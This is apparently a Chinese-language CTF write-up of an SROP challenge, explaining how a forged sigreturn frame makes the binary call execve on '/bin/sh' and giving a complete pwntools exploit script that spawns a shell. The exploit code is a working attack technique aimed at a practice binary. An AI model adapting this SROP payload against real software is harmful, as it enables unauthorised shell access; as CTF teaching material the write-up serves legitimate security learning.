Share this post on:

SROP(ctf wiki找到的题,不知道出处了)

题目分析

checksec:

image-20220511151245505

伪代码:

image-20220511151345747

一共就只有一个main函数,main函数也很简单。一个read函数读入数据,当读入的字节数大于0xf8时就触发sys_rt_sigreturn,然后退出

思路很明确,只需要构造一个伪sigframe调用execve即可,这里有现成的sigreturn连这步构造都省略了

大致思路

1.构造sigframe调用execve

2.填满0xf8个字节

3.找个喜欢的地方填上 ‘/bin/sh\x00’

注意点与收获

  • 看看sigframe的构造

    #单次调用
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = bss_addr+0x100
    sigframe.rsi = 0x0
    sigframe.rdx = 0x0
    sigframe.rip = syscall_addr
    sigframe = bytes(sigframe)
    #这个sigframe中不需要rsp是因为只调用一次,不用考虑函数返回后指向哪儿的问题
    
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_read
    sigframe.rdi = 0x0
    sigframe.rsi = stack_addr
    sigframe.rdx = 0x400
    sigframe.rsp = stack_addr
    sigframe.rip = syscall_addr
    sigframe = bytes(sigframe)
    #当需要多次构造sigframe时,需要控制rsp。rsp的作用是当sigframe构造的函数执行完毕后接着执行

完整exp

from pwn import *

context(
    log_level='debug',
    arch="amd64",
    binary="./srop"
)
io = process()
elf = ELF('./srop')
gdb.attach(io)

str_bin_sh_offset = 0x100

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']

print(hex(len(frame)))

payload = bytes(frame)
payload = payload.ljust(0x100, b'A')
payload += b'/bin/sh\x00'

io.send(payload)

io.interactive()
Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注